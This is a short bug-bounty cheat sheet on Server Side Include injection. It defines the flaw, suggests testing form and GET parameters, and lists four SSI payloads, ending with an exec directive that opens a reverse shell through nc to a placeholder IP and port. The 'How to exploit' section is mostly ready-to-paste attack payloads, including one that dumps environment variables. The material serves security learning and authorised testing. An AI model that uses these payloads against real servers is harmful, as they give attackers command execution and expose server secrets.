AllAboutBugBounty/Server Side Include Injection.md

# Server Side Include Injection (SSI Injection)

## Introduction
SSI (Server Side Includes) Injection is a type of web security vulnerability that occurs when a web application allows untrusted user-supplied data to be used as part of a Server Side Include (SSI) directive

## Where to find
Usually it can be found anywhere. Just try to input the payload in the form or GET parameter

## How to exploit
1. Print a date
```
<!--#echo var="DATE_LOCAL" -->
```

2. Print all the variabels
```
<!--#printenv -->
```

3. Include a file
```
<!--#include file="includefile.html" -->
```

4. Doing a reverse shell
```
<!--#exec cmd="mkfifo /tmp/foo;nc IP PORT 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
```

## References
* [OWASP](https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection)